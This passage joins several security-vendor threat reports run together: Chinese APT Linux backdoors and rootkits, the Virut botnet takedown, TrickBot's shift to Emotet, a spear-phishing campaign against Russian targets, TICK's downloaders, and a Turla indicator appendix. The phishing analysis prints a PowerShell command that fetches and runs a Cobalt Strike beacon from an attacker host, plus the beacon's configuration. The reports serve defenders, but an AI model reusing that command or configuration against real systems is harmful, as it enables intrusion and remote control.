CASPER (aka LEAD), and the original WINNTI GROUP. But the fifth Linux splinter cell group, which BlackBerry researchers are tracking as WLNXSPLINTER, is discussed for the first time in this report. These threat actor groups share three important characteristics: - All five groups examined in this report have been observed attacking video game companies to steal code-signing certificates which they used to sign their malware, as well as attacking the gaming companies for criminal purposes to produce revenue. - All five groups share tools, suggesting several possible scenarios: a formal “digital quartermaster” arrangement (a la FireEye); an informal “hacker forum” type of tool-swap; personnel overlap between the groups; or a re-tasking of the same groups toward different target sets. ## The Linux Splinter Cell Toolset BlackBerry researchers have discovered that the Linux splinter groups have developed and deployed the following tools, collectively referred to as the WINNTILNX toolset. Included in the toolset are: - Three backdoors, all of which are unique variants and designated as: - PWNLNX1 - PWNLNX2 - PWNLNX3 - Two rootkits which are deployed simultaneously with the backdoors, all of which are the Linux Kernel Module variety and designated as: - PWNLNX4 - PWNLNX6 - Two build-groups which are used to construct the rootkits on-the-fly and tailor them to their targets, designated as: - Group 1 (online) - Group 2 through Group 6 (local) - An installer script used to remotely compile, download, and install both an LKM rootkit and a backdoor on the target, designated as: - Lancer - A Control Panel used by the attackers to run the command-and-control (C2) infrastructure and issue commands to the rest of the malware suite (for both Windows and Linux) and designated as: - PWNLNX5 The earliest sample BlackBerry researchers identified using this method was compiled with “GCC: (GNU) 4.4.7 20120313 (Red Hat 4.4.7-3)” which was released on March 13, 2012, suggesting that WLNXSPLINTER has potentially been in use for roughly the last eight years. The age of this suite is a salient point and should not be underestimated. Though there was not enough data from incident response engagements to paint a complete picture of the attack chain, its longevity combined with the low (in some cases zero) detection rates for the malware suggests that the suite has been successful in establishing and maintaining itself in target environments for quite some time. ## PWNLNX1: A Backdoor The WINNTI GROUP made very few alterations to the backdoor designated as PWNLNX1 over the years, with the exception of some minor feature additions. Yet even after all this time, the majority of the samples examined have a zero-detection rate in the industry’s most commonly used virus repository. PWNLNX1 was designed to work with a Local Kernel Module (LKM), which enabled it to perform a number of rootkit functions like bypassing iptables, hiding files, hiding processes, hiding threads, and hiding network connections. It also provided the attackers with the ability to upload and download files, enumerate and manipulate files and directories, access an interactive shell, forward traffic and ports, and modify and connect to the embedded command-and-control (C2) servers over TCP and UDP, as well as over IPv4 and IPv6. The backdoor encoded its network callback information using a simple operation against XOR keys “CB2FA36AAA9541F0” or “BB2FA36AAA9541F0” was only observed in earlier samples. ## PWNLNX2: Another Backdoor BlackBerry researchers discovered a second variant designated as PWNLNX2 which first appeared around 2017 and was used into early 2018. BlackBerry researchers ascribed these particular variants to the threat groups previously identified as PASSCV and BRONZE UNION (aka APT27, EMISSARY PANDA). These backdoors were extremely similar to the earlier PWNLNX1 samples and contained the same function names, backdoor functionality, LKM rootkit name and ioctls, commands from the C2, and they were even compiled from source files bearing the exact same names. However, the backdoors were significantly larger in size, weighing in at nearly one megabyte. As with earlier samples discussed, they were all undetected in the common malware repository with the exception of one sample, which was mistakenly identified by a single vendor as belonging to a DDoS botnet. BlackBerry researchers originally identified these files from the unique XML output of a function responsible for conducting file-based reconnaissance of the victim’s machine and then used this to locate both a 32-bit and 64-bit versions. ## PWNLNX3: A Backdoor BlackBerry researchers went digging a little further, and while the implant that implemented the newer Netlink Protocol was not located, yet another 2018 variant within the WINNTILNX toolset turned up, designated here as PWNLNX3. The PWNLNX3 samples were significantly larger still, weighing in at nearly four megabytes. Surprisingly, three of these samples were detected by approximately twenty different vendors, give or take, under various monikers. “Linux.Agent.by” was perhaps the most accurate industry detection, but another earlier sample went fully undetected as late as February 10, 2018. ## PWNLNX4: An LKM Rootkit After further analyzing how PWNLNX1 interacted with its rootkit, BlackBerry was able to recover several different iterations of the PWNLNX4 rootkit. At the time of writing this report, most of the identified rootkits were undetected by any antivirus vendor. The rootkits were modified versions of the “Suterusu” rootkit; each contained modifications to directly patch the TCP and UDP socket tables, process tables, and file tables. ## PWNLNX6 Updated LKM Rootkit Based upon unique submitter identification numbers, BlackBerry researchers were able to locate another modified version of the Suterusu Rootkit which the attackers referred to as “xinted.ko”. This particular version of the rootkit, which is designated here as PWNLNX6, was compiled using a newer version of GCC (GNU Compiler Collection) with an exact build command matching that of the one used for “Build Group 3” mentioned above. ## Lancer – An Installation Script While attempting to locate subtle differences in code between PWNLNX1 and PWNLNX2, BlackBerry researchers examined the C2 protocol to assess whether any modifications were made from the earlier implants. Upon closer inspection of the custom network protocol, an additional modification was inserted into one of the implants BlackBerry researchers associate with BRONZE UNION / APT27 (based upon C2) was observed. The script was designed to run on both CentOS/RedHat systems and Debian/Ubuntu systems. It came complete with a number of broken English phrases, misspellings, and word swaps like “being” and “begin.” The version number indicated that there was likely more than one revision of this online build system. The script additionally confirmed earlier suspicions that at least one online build environment existed for compiling and delivering the custom LKM rootkits (Group 1). ## PWNLNX5 – The Controller The controllers were all named “lancer.exe” and compiled on October 16, 2018. It appeared that the operator of the malware was working from a Cambodian IP address and likely testing to see if their version of the controller was detected by any industry vendors by uploading it to a common virus repository. The threat actor similarly uploaded a tool a few days earlier that was called “OnLineTestBox.exe” that was compiled on October 12, 2018. This tool was used to simulate traffic with a C2 and allowed the user to set a couple of predefined variables to test. ## Another Linux Oddity — CASPER Mirai Variant BlackBerry researchers identified a single Linux Mirai variant that appeared to belong to the CASPER/LEAD group based upon the domain it communicated with: “cdn.googletoolservices.com”. ## Cellular Division In a previous research cited in the beginning of the report, Mobile Malware and APT Espionage, BlackBerry researchers provided evidence that RATs designed for mobile devices, primarily those on the Android platform, have been developed and deployed by APT groups working in the interest of the Chinese government for far longer than had been publicly acknowledged. An example of one such domain was “ios.0pengl.com”, which resolved to the IP address “122.226.186.28” beginning on November 25, 2015. BlackBerry researchers identified several other subdomains that were potentially of interest and went looking for the associated malware. Their findings didn’t bear out exactly as anticipated; however, they did discover a previously unattributed Android malware sample capable of monitoring incoming/outgoing phone calls, recording audio, sending and receiving SMS messages, and monitoring a device’s GPS location. BlackBerry researchers designated this new Android backdoor PWNDROID4. The package the researchers identified was named “com.wavedancer.host” with the SHA256 hash: ac546bd38ad2e56b42fd3e35f27048ca9c86203153868944188e6fb6822d9f63.
# Polish Takedown Targets ‘Virut’ Botnet Security experts in Poland on Thursday quietly seized domains used to control the Virut botnet, a huge army of hacked PCs that is custom-built to be rented out to cybercriminals. NASK, the domain registrar that operates the “.pl” Polish top-level domain registry, said that on Thursday it began assuming control over 23 .pl domains that were being used to operate the Virut network. The company has redirected traffic from those domains to sinkhole.cert.pl, a domain controlled by CERT Polska — an incident response team run by NASK. The company says it will be working with Internet service providers and security firms to help alert and clean up affected users. “Since 2006, Virut has been one of the most disturbing threats active on the Internet,” CERT Polska wrote. “The scale of the phenomenon was massive: in 2012 for Poland alone, over 890 thousand unique IP addresses were reported to be infected by Virut.” Some of the domains identified in the takedown effort — including ircgalaxy.pl and zief.pl — have been used as controllers for nearly half a decade. During that time, Virut has emerged as one of the most common and pestilent threats. Security giant Symantec recently estimated Virut’s size at 300,000 machines; Russian security firm Kaspersky said Virut was responsible for 5.5 percent of malware infections in the third quarter of 2012. The action against Virut comes just days after Symantec warned that Virut had been used to redeploy Waledac, a spam botnet that was targeted in a high-profile botnet takedown by Microsoft in 2010. ## SELF-PERPETUATING CRIME MACHINE A file-infecting virus that has long been used to steal information from infected PCs, Virut is often transmitted via removable drives and file-sharing networks. But in recent years, it has become one of the most reliable engines behind massive malware deployment systems known as pay-per-install (PPI) networks. One such example was “exerevenue.com,” a popular PPI network that once shared Internet resources with the aforementioned .pl domains. PPI networks attract entrepreneurial malware distributors, hackers who are given custom “installer” programs that bundle malware and adware. In return, the distributors are paid a set amount for each 1,000 times their installer programs are run on new PCs. Access to the PPI networks is sold to miscreants in the underground, particularly spammers who are looking to increase the size of their spam botnets. Those clients submit their malware—a spambot, fake antivirus software, or password-stealing Trojan—to the PPI service, which in turn charges varying rates per thousand successful installations, depending on the requested geographic location of the desired victims. The Exerevenue.com PPI program died off in 2010, but cached copies of the site offer a fascinating glimpse into the Virut business model. The following snippet of text was taken from Exerevenue’s software end-user license agreement (EULA, and yes, this malware had a EULA). It aptly described how Virut worked: as a file-infecting virus that injected copies of itself into all .EXE and .HTML files found on victim PCs. According to the Exerevenue administrators, the program’s installer relied on a trademarked “QuickBundle™” technology that bundled adware with other programs. “3) The software will especially target .EXE and .HTML files in the process of bundling. Other types of files may also be affected. HTML files are bundled with adware indirectly, through Internet links, and it relies upon certain features of Web browsers that are often considered undesired. Therefore, you agree you will not deliver your bundled files to anyone who can be offended by the QuickBundle technology described earlier. In order to prevent a file from being bundled with adware, you can change its name to begin with PSTO or WINC (in case of .EXE and .SCR files) or change its extension (in case of .HTM, .ASP, and .PHP files), for example to .TXT. Apart from enriching your files with ad-supported content, your Windows HOSTS file will be modified to block certain domains used for adware loading automatization.” ## WHO IS RUNNING VIRUT? In 2007, researchers at malware research group Team Furry published a brain dump of information that they’d collected about the individuals they believed created and ran the Virut botnet. Team Furry pointed to several subdomains of zief.pl and ircgalaxy.pl that according to archive.org hosted a somewhat active user forum frequented by hackers who used the names “XMAX” and “Adx.” According to Team Furry, Adx was the hacker handle used by a computer whiz from Warsaw named Piotr Niżyński. Mr. Niżyński did not respond to multiple requests for comment. It’s not clear how the actions by NASK will impact the long-term operations of the Virut botnet. Many of Virut’s control servers are located outside the reach of NASK, at Russian top-level domain name registrars (.ru). Also, Virut has a failsafe mechanism built to defeat targeted attacks on its infrastructure. In a blog post on Jan. 7, 2013, Symantec documented Virut’s domain name generation algorithm (DGA); should Virut-infected PCs be unable to reach their hard-coded controllers at ircgalaxy.pl and zief.pl, the malware is configured to check one of a possible 10,000 different domain names each day, generated according to an algorithm built into the malware. Armed with this backup mechanism, the miscreants responsible for Virut in theory would need simply to register one of the DGA-designated domains to be able to re-establish communications and control over the botnet.
# TrickBot Gang Likely Shifting Operations to Switch to New Malware TrickBot, the infamous Windows crimeware-as-a-service (CaaS) solution that's used by a variety of threat actors to deliver next-stage payloads like ransomware, appears to be undergoing a transition of sorts, with no new activity recorded since the start of the year. The lull in the malware campaigns is "partially due to a big shift from Trickbot's operators, including working with the operators of Emotet," researchers from Intel 471 said in a report shared with The Hacker News. The last set of attacks involving TrickBot were registered on December 28, 2021, even as command-and-control (C2) infrastructure associated with the malware has continued to serve additional plugins and web injects to infected nodes in the botnet. Interestingly, the decrease in the volume of the campaigns has also been accompanied by the TrickBot gang working closely with the operators of Emotet, which witnessed a resurgence late last year after a 10-month-long break following law enforcement efforts to tackle the malware. The attacks, which were first observed in November 2021, featured an infection sequence that used TrickBot as a conduit to download and execute Emotet binaries, when prior to the takedown, Emotet was often used to drop TrickBot samples. "It's likely that the TrickBot operators have phased TrickBot malware out of their operations in favor of other platforms, such as Emotet," the researchers said. "TrickBot, after all, is relatively old malware that hasn't been updated in a major way." Additionally, Intel 471 said it observed instances of TrickBot pushing Qbot installs to the compromised systems shortly after Emotet's return in November 2021, once again raising the possibility of a behind-the-scenes shake-up to migrate to other platforms. With TrickBot increasingly coming under the lens of law enforcement in 2021, it's perhaps not too surprising that the threat actor behind it is actively attempting to shift tactics and update their defensive measures. According to a separate report published by Advanced Intelligence (AdvIntel) last week, the Conti ransomware cartel is believed to have acqui-hired several elite developers of TrickBot to retire the malware and switch to upgraded variants such as BazarBackdoor. "Perhaps a combination of unwanted attention to TrickBot and the availability of newer, improved malware platforms has convinced the operators of TrickBot to abandon it," the researchers noted. "We suspect that the malware control infrastructure (C2) is being maintained because there is still some monetization value in the remaining bots."
# New Spear Phishing Campaign Targets Russian Dissidents **Threat Intelligence Team** March 29, 2022 This blog post was authored by Hossein Jazi. Several threat actors have taken advantage of the war in Ukraine to launch a number of cyber attacks. The Malwarebytes Threat Intelligence team is actively monitoring these threats and has observed activities associated with the geopolitical conflict. More specifically, we’ve witnessed several APT actors such as Mustang Panda, UNC1151, and SCARAB that have used war-related themes to target mostly Ukraine. We’ve also observed several different wipers and cybercrime groups such as FormBook using the same tactics. Besides those known groups, we saw an actor that used multiple methods to deploy variants of Quasar Rat. These methods include using documents that exploit CVE-2017-0199 and CVE-2021-40444, macro-embedded documents, and executables. On March 23, we identified a new campaign that instead of targeting Ukraine is focusing on Russian citizens and government entities. Based on the email content, it is likely that the threat actor is targeting people that are against the Russian government. The spear phishing emails are warning people that use websites, social networks, instant messengers, and VPN services that have been banned by the Russian Government and that criminal charges will be laid. Victims are lured to open a malicious attachment or link to find out more, only to be infected with Cobalt Strike. ## Spear Phishing as the Main Initial Infection Vector These emails pretend to be from the “Ministry of Digital Development, Telecommunications and Mass Communications of the Russian Federation” and “Federal Service for Supervision of Communications, Information Technology and Mass Communications” of Russia. We have observed two documents associated with this campaign that both exploit CVE-2021-40444. Even though CVE-2021-40444 has been used in a few attacks in the past, to the best of our knowledge, this was the first time we observed an attacker use RTF files instead of Word documents to exploit this vulnerability. Also, the actor leveraged a new variant of this exploit called CABLESS in this attack. Sophos has reported an attack that used a Cabless variant of this exploit, but in that case, the actor has not used the RTF file and also used a RAR file to prepend the WSF data to it. ### Email with RTF file: Федеральная служба по надзору в сфере связи, информационных технологий и массовых коммуникаций Предупреждение! Министерство цифрового развития, связи и массовых коммуникаций Российской Федерации ### Email with archive file: информирование населения об критических изменениях в сфере цифровых технологий, сервисов, санкций и уголовной ответственности за их использование. Внимание! Информирует Министерство цифрового развития, связи и массовых коммуникаций Российской Федерации ### Email with link: Внимание! Информирует Министерство цифрового развития, связи и массовых коммуникаций Российской Федерации ## Victimology The actor has sent its spear phishing emails to people that had email with these domains: mail.ru, mvd.ru, yandex.ru, cap.ru, minobr-altai.ru, stavminobr.ru, mon.alania.gov.ru, astrobl.ru, 38edu.ru, mosreg.ru, mo.udmr.ru, minobrnauki.gov.ru, 66.fskn.gov.ru, bk.ru, ukr.net Based on these domains, here is the list of potential victims: - Portal of authorities of the Chuvash Republic Official Internet portal - Russian Ministry of Internal Affairs - Ministry of Education and Science of the Republic of Altai - Ministry of Education of the Stavropol Territory - Minister of Education and Science of the Republic of North Ossetia-Alania - Government of Astrakhan region - Ministry of Education of the Irkutsk region - Portal of the state and municipal service Moscow region - Ministry of Science and Higher Education of the Russian Federation ## Analysis The lures used by the threat actor are in Russian language and pretend to be from Russia’s “Ministry of Information Technologies and Communications of the Russian Federation” and “MINISTRY OF DIGITAL DEVELOPMENT, COMMUNICATIONS AND MASS COMMUNICATIONS.” One of them is a letter about limitation of access to Telegram application in Russia. These RTF files contain an embedded URL that downloads an HTML file which exploits the vulnerability in the MSHTML engine. The HTML file contains a script that executes the script in WSF data embedded in the RTF file. The actor has added WSF data (Windows Script Host) at the start of the RTF file. WSF data contains a JScript code that can be accessed from a remote location. In this case, this data has been accessed using the downloaded HTML exploit file. Executing this script leads to spawning PowerShell to download a CobaltStrike beacon from the remote server and execute it on the victim’s machine. (The deployed CobaltStrike file name is Putty) ```powershell "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden $ProgressPreference = 'SilentlyContinue'; Invoke-WebRequest 'http://wallpaper.skin/office/updates/GtkjdsjkyLkjhsTYhdsd/putty.exe' -OutFile $env:TEMP\putty.exe; . $env:TEMP\putty.exe; Start-Sleep 15 ``` The following shows the CobaltStrike config: ```json { "BeaconType": [ "HTTPS" ], "Port": 443, "SleepTime": 38500, "MaxGetSize": 1398151, "Jitter": 27, "C2Server": "wikipedia-book.vote,/async/newtab_ogb", "HttpPostUri": "/gen_204", "Malleable_C2_Instructions": [ "Remove 17 bytes from the end", "Remove 32 bytes from the beginning", "Base64 URL-safe decode" ], "SpawnTo": "/4jEZLD/DHKDj1CbBvlJIg==", "HttpGet_Verb": "GET", "HttpPost_Verb": "POST", "HttpPostChunk": 96, "Spawnto_x86": "%windir%\\syswow64\\gpupdate.exe", "Spawnto_x64": "%windir%\\sysnative\\gpupdate.exe", "CryptoScheme": 0, "Proxy_Behavior": "Use IE settings", "Watermark": 1432529977, "bStageCleanup": "True", "bCFGCaution": "True", "KillDate": 0, "bProcInject_StartRWX": "True", "bProcInject_UseRWX": "False", "bProcInject_MinAllocSize": 16700, "ProcInject_PrependAppend_x86": [ "kJCQ", "Empty" ], "ProcInject_PrependAppend_x64": [ "kJCQ", "Empty" ], "ProcInject_Execute": [ "ntdll.dll:RtlUserThreadStart", "SetThreadContext", "NtQueueApcThread-s", "kernel32.dll:LoadLibraryA", "RtlCreateUserThread" ], "ProcInject_AllocationMethod": "NtMapViewOfSection", "bUsesCookies": "True", "HostHeader": "" } ``` ## Similar Lure Used by Another Actor We also have identified activity by another actor that uses a similar lure as the one used in the previously mentioned campaign. This activity is potentially related to Carbon Spider and uses “Федеральная служба по надзору в сфере связи, информационных технологий и массовых коммуникаций” (Federal Service for Supervision of Communications, Information Technology and Mass Communications) of Russia as a template. In this case, the threat actor has deployed a PowerShell-based Rat. The dropped PowerShell script is obfuscated using a combination of Base64 and custom obfuscation. After deobfuscating the script, you can see the Rat deployed by this actor. This PowerShell-based Rat has the capability to get the next stage payload and execute it. The next stage payload can be one of the following file types: - JavaScript - PowerShell - Executable - DLL All of its communications with its server are in Base64 format. This Rat starts its activity by setting up some configurations which include the C2 URL, intervals, debug mode, and a parameter named group that is initialized with “Madagascar,” which probably is another alias of the actor. After setting up the configuration, it calls the “Initialize-Engine” function. This function collects the victim’s info including OS info, Username, Hostname, Bios info, and also a host-domain value that shows if the machine is a domain member or not. It then appends all the collected info into a string, separates them by “|” character, and at the end, it adds the group name and API config value. The created string is sent to the server using the Send-WebInit function. This function adds “INIT%%%” string to the created string, base64 encodes it, and sends it to the server. After performing the initialization, it goes into a loop that keeps calling the “Invoke-Engine” function. This function checks the incoming tasks from the server, decodes them, and calls the proper function to execute the incoming task. If there is no task to execute, it sends “GETTASK%%” in Base64 format to its server to show it is ready to get tasks and execute them. The “IC” command is used to delete itself. The result of the task execution will be sent to the server using “PUTTASK%%” command. ## Infrastructure The following shows the infrastructure used by this actor highlighting that the different lures are all connected. The Malwarebytes Threat Intelligence continues to monitor cyber attacks related to the Ukraine war. We are protecting our customers and sharing additional indicators of compromise. ## IOCs **RTF files host domain:** digital-ministry[.]ru **RTF files:** PKH telegram.rtf b19af42ff8cf0f68e520a88f40ffd76f53a27dffa33b313fe22192813d383e1e PKH.rtf 38f2b578a9da463f555614e9ca9036337dad0af4e03d89faf09b4227f035db20 **MSHTML exploit:** wallpaper[.]skin/office/updates/GtkjdsjkyLkjhsTYhdsd/exploit.html 4e1304f4589a706c60f1f367d804afecd3e08b08b7d5e6bd8c93384f0917385c **CobaltStrike Download URL:** wallpaper[.]skin/office/updates/GtkjdsjkyLkjhsTYhdsd/putty.exe CobaltStrike: Putty.exe d4eaf26969848d8027df7c8c638754f55437c0937fbf97d0d24cd20dd92ca66d **CobaltStrike C2:** wikipedia-book[.]vote/async/newtab_ogb **Macro based maldoc:** c7dd490adb297b7f529950778b5a426e8068ea2df58be5d8fd49fe55b5331e28 **PowerShell based RAT:** 9d4640bde3daf44cc4258eb5f294ca478306aa5268c7d314fc5019cf783041f0 **PowerShell Rat C2:** swordoke[.]com
# Operation ENDTRADE: TICK’s Multi-Stage Backdoors for Attacking Industries and Stealing Classified Data ## Introduction TICK (a.k.a. “BRONZE BUTLER” or “REDBALDKNIGHT”) is a cyberespionage group known for its supply chain attacks and use of different malware families to attack organizations across various sectors such as defense, aerospace, satellite communications, and retail industries, as well as industrial chemical companies. Trend Micro has been observing this group’s operations since 2008, including its use of social engineering attacks commonly written in fluent Japanese following their usual target victims’ affiliations. ## Notable Features of Operation ENDTRADE ### Spear phishing for malware delivery TICK crafted and sent spear phishing emails to deliver malicious payloads to the victims’ networks, notably in Japanese and in the context of the Chinese economy. The emails had the following characteristics: - Sent from legitimate email addresses, likely the result of a lateral phishing scheme - Written in correct Japanese - Disguised as legitimate reports prompting users to open attachments - Many emails contained subject topics related to “salary rate increase” or “job market” Prior to sending these emails, TICK attacked a Japanese economic research company and a PR agency and stole email credentials from both organizations. These email addresses were then used to send the spear phishing emails, prompting potential victims to open the attachments. The attachments had the following characteristics: - Drop/download the payload while opening the Japanese documents (referred to as decoy files) - Decoy files appeared as normal documents from banks, PR companies, or economic organizations - The payload scans the system to identify any installed antivirus products and attempts to terminate Trend Micro’s antivirus processes. ### New malware families We observed TICK actively targeting victims with various methods and techniques around December 2018, adding more malware families as they launched new campaigns. We learned that they developed new tools that try to detect antivirus products and attempt to terminate Trend Micro’s antivirus product. We named them based on their characteristic program database (PDB) strings: - Two new downloaders named ABK and BBK - Two new Trojans named Snake and build_down Further analysis showed two additional malware families in the network, named down_new and Avenger. These downloaders combine features of previous malware families and inherit efficient modules and features from ABK, BBK, Snake, and build_down into their final downloaders. All of them have one important task: connect to a website and verify the victim system’s volume serial number to determine if it will send the command to download the backdoor. ### Exploiting vulnerabilities In early 2019, TICK began implementing techniques that exploit vulnerabilities CVE-2018-0802 and CVE-2018-0798 into their new downloaders ABK and BBK. These vulnerabilities are categorized as Microsoft Office Memory Corruption Vulnerabilities in MS Equation Editor, which can be exploited for remote code execution (RCE) via stack buffer overflows. ### Decoy documents and language targeting TICK developed executable files masked with document file icons such as PDF and Word, acting as droppers to drop or execute downloaders and other decoy files. For example, in 2019 they developed droppers named Pretender, hidder, HideFloder, and exetodoc. While executable files with document file icons have been in use for at least 10 years, it remains an effective tool, especially for advanced persistent threat (APT) targets. To increase decoy emails’ and attachments’ chances of being opened, deciphering the organization’s native language becomes an integral aspect of the pre-attack phase. The files’ topics appeared to be carefully chosen to appeal to individuals and organizations with special interests in China, such as the US-China economic and trade issues in 2018. ## Malware Analysis ### DATPER A backdoor routine associated with TICK, we observed that this was still being used in their arsenal but with an adjusted mutex. The Datper variant we analyzed creates two mutex objects called d0ftyzxcdrfdqwe and *&Hjgfc49gna-2-tjb, both functioning to retrieve information from the victim machine. ### ABK ABK detects specific AV processes and sends the information back to TICK. It appends the parameters uid and pid into the computer’s uniform resource identifier (URI) to identify the victim system’s host and check the installed AV product. ABK also uses steganography to hide additional payload in photos, which will be downloaded from the command and control (C&C) server. ### BBK BBK can download a specific file from the C&C server website. After downloading the file, the file extension will change to bat to pass the downloaded file as a batch script and enable the collection of victim information. Like ABK, BBK is also capable of using steganography and uses cmd.exe to execute the PE file. ### build_downer TICK changed their preferred attack tool to build_downer midway through the year. This trojan can get volume information and send it back to the C&C. If the response is anything except “404 not found,” it will download a steganography JPEG file and extract malware. ### Tomato Trojan Tomato is a variant of down_new. It appears TICK is trying to improve and develop their malware’s obfuscation techniques. Tomato is capable of scanning for antivirus processes and functions, but it also adds a routine that prevents its entry from being registered to the Add or Remove Programs window by renaming DisplayName to QuietDisplayName. ### Snack Snack is another trojan variant of build_down and down_new with features comparable to those of ABK and BBK. Snack also has an AES encryption function. ### PBA PBA is a Python-based trojan similar to down_new and Snack because the scripts can also be compiled into Windows executable files. ### down_new TICK combined the features of the trojans into one and appears to have tested it numerous times. It mainly has six features: 1. Adds Autorun to the registry. 2. Gets MAC address and volume information and sends it back to the C&C. 3. Executes only during working hours (8:00 AM-6:00 PM). 4. Uses AES encryption and base64 encoding method to encrypt the callback message. 5. Uses legitimate websites for the C&C server. 6. Detects antivirus products and processes. ## Conclusion TICK is a cyberespionage group that should not be considered dormant nor inactive, but a persistent entity with advanced skill levels and the financial capacity to support its activities. They ensure that their intended targets are of high value, as evidenced by the extensive verification routine they perform once a target has been compromised. The diversity and scope of their malware families highlight the varying degrees of proficiency this group can employ to remain undetected and exfiltrate data. This is evident in the group’s use of legitimate and publicly-available tools to make it more difficult for inexperienced IT teams, research teams, or even dedicated incident response teams to trace, analyze, and detect the attacks. Enterprises and critical infrastructures will always be targeted by persistent attacks. Therefore, it is paramount that organizations become aware and knowledgeable of the latest threats that may be used against them and the necessary measures that can be established to defend against them.
# The Epic Turla Operation: Solving some of the mysteries of Snake/Uroboros ## Technical appendix: malware samples and indicators of compromise (IOC) ### A. Keylogger module - **File name:** varies - **MD5:** a3cbf6179d437909eb532b7319b3dafe - **Compilation timestamp:** 2012.10.02 10:51:50 (GMT) - **Compiler:** Microsoft Visual Studio 2010 - **File format:** PE32 DLL - **Exports:** _LowLevelKeyboardProc@12 Creates the log file: `%TEMP%\~DFD3O8.tmp`. If failed, tries to write to the file `f:\keyhook.log`. Each time the keylogger starts, it appends the following header to the log file: ``` -------------------------------------------------------------------------------- New Session: %fully qualified computer name% %timestamp% -------------------------------------------------------------------------------- ``` It then creates a hidden console window and registers its only export `_LowLevelKeyboardProc@12` as a hook procedure for low-level keyboard input events (WH_KEYBOARD_LL hook). Depending on the results, it writes a line to its log file. In case the hook was installed, the line is “Started...”, else “LoadLibrary ‘%path to its file%’ failed, %error code%”. It also starts a thread that retrieves the current foreground window handle every 100 milliseconds. This handle is then used in the keyboard hook procedure. The low-level keyboard hook procedure intercepts `WM_KEYDOWN`, `WM_KEYUP` and `WM_SYSKEYDOWN` system messages and writes information about each keystroke to the log file. Every time a new window becomes active, it retrieves its name and the path to its application and writes this information to the log file: `[%path to the application’s executable file%: “%window title%”]` ### B. The “Epic/Tavdig/Wipbot” backdoor (Main backdoor module) - **Analyzed file (others are similar):** - **Compilation timestamp:** 2013.10.15 10:43:09 (GMT) - **File format:** PE32 DLL, modified (the file is supposed to be started by a custom loader) - **Exports:** - 1000837F: ModuleStart - 100083A9: ModuleStop - 100083BB: start The main functionality is implemented in a single function that is called by the DllMain entry point. The exported functions allow to call the same function directly (exported as “start”) or to start/stop it in a separate thread (“ModuleStart”/”ModuleStop”) and with slightly different parameters. This indicates the backdoor can also function as a plugin for the Turla Carbon system. The main function executes in an infinite loop. It collects most of the available information about the system, transmits it to the C&C server and executes the commands it receives back. The module delays execution for random periods while it discovers running processes with one of the following filenames: - tcpdump.exe - windump.exe - ethereal.exe - wireshark.exe - ettercap.exe - snoop.exe - dsniff.exe The following system information is collected: 1. Hardware information. - Registry key `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SystemInformation`, value names: SystemManufacturer, SystemProductName. - All registry subkeys of the key `HARDWARE\DESCRIPTION\System\CentralProcessor`, value name: ProcessorNameString. - Available system memory status, total/free. 2. OS version information; the newest version known to it is Windows 7 / 2008R2. Unidentified versions are marked as “not support this version of Windows”. 3. Computer name (`ComputerNamePhysicalDnsFullyQualified`). 4. User name, local group name. 5. Common directory names: system, current, temporary directories. 6. Additional system information: - System and user language settings - User locale information: country name, current date, time zone. - Uptime 7. Disk space information for all available logical drives. 8. List of available network shares. 9. List of all user accounts, privilege classes, time of the last logon. 10. List of current IPV4 TCP connections and UDP listeners. 11. Information about installed Windows updates from the file `%WINDOWS%\SoftwareDistribution\ReportingEvents.log`. 12. Detailed list of running processes and their owners. 13. List of all window titles. 14. Directory listing of available logical drives and of the directories: - Desktop - %TEMP% - %WINDOWS%\Temp The retrieved information is compressed using bzip2, encrypted with AES and then encoded using Base64 before being transmitted to the C&C server. When there is a file waiting for upload (usually, this is a file that contains the results of the previously received and executed command), it is read from disk and uploaded to the server instead of the system information. The C&C communication is implemented on top of the standard HTTP/HTTPS protocols. The list of the C&C URLs is hardcoded in the binary but may be overridden by further commands. ### C. Malware samples **Lateral movement tools:** - a3cbf6179d437909eb532b7319b3dafe - custom keylogger - 1369fee289fe7798a02cde100a5e91d8 - UPX compressed “dnsquery.exe” - c0c03b71684eb0545ef9182f5f9928ca - dnsquery.exe **Epic/Tavdig backdoors:** - 4dc22c1695d1f275c3b6e503a1b171f5 - 111ed2f02d8af54d0b982d8c9dd4932e - 7731d42b043865559258464fe1c98513 - 24b354f8cfb6a181906ceaf9a7ec28b0 - fdba4370b60eda1ee852c6515da9da58 - 3ab3d463575a011dfad630da154600b5 - a347af5cc3c5429911e5167b2d30e1ac - 6b207521c9175d2274ba3debcc700a1d - cb264c9efa566f41975a3cebf903efb5 - e9c0d32a15a24b1110fcc18ab04a6738 - d102e873971aa4190a809039bc789e4d - d7ca9cf72753df7392bfeea834bcf992 - dropped by the Java CVE-2012-1723 exploits - 42b7b0bd4795fc8e336e1f145fc2d27c - ab686acde338c67bec8ab42519714273 - 8e90d8b68a053d22b54fb39f1cf01a41 - d22b0ec4e9b2302c07f38c835a78148a - 764d643e5cdf3b8d4a04b50d0bc44660 - d31f1d873fa3591c027b54c2aa76a52b - ea1c266eec718323265c16b1fdc92dac - bc2eff0a1544e74462e7377cf0de5a36 - d22b0ec4e9b2302c07f38c835a78148a - 86f28e8d9d6bda11abcf93b76074b311 - d28661163ae91848e01a733836bfe0aa - 09b7f890ccded1a6210119df8a9a08f9 - 5c4a51ce7aa76579616a01a0a3cfab38 - aa58167c57cac1bc562c77766ca249f5 - 3a785ede87bfbd2c1c29887e9c36c801 - 7731d42b043865559258464fe1c98513 - 0e441602449856e57d1105496023f458 **Dropper packages that installs both Epic and Turla Carbon system:** - c7617251d523f3bc4189d53df1985ca9 - Postanovlenie apelljacionnoj instancii.scr - 0f76ef2e6572befdc2ca1ca2ab15e5a1 - Opredelenie.scr **PDF exploits used in spearphishing attacks drops Epic backdoor:** - 6776bda19a3a8ed4c2870c34279dbaa9 - Note_№107-41D.pdf - dba209c99df5e94c13b1f44c0f23ef2b - unknown.PDF - f44b1dea7e56b5eac95c12732d9d6435 - unknown.PDF - 4c65126ae52cadb76ca1a9cfb8b4ce74 - unknown.PDF **SCR/EXE files - used in spearphishing/social engineering:** - 4d667af648047f2bd24511ef8f36c9cc - NATO position on Syria.scr - ab686acde338c67bec8ab42519714273 - Russia position on Syria.scr - 1c3634c7777bd6667936ec279bac5c2a - Talking Points.scr - 80323d1f7033bf33875624914a6a6010 - Program.scr - 77083b1709681d43a1b0503057b6f096 - Security protocol.scr - 01a15540481f28163e7b4908034efbe3 - unknown.exe (“WorldCupSec”) - 6a24071fde3b5d713c58801dcdd62044 - unknown.exe (“WorldCupSec”) - 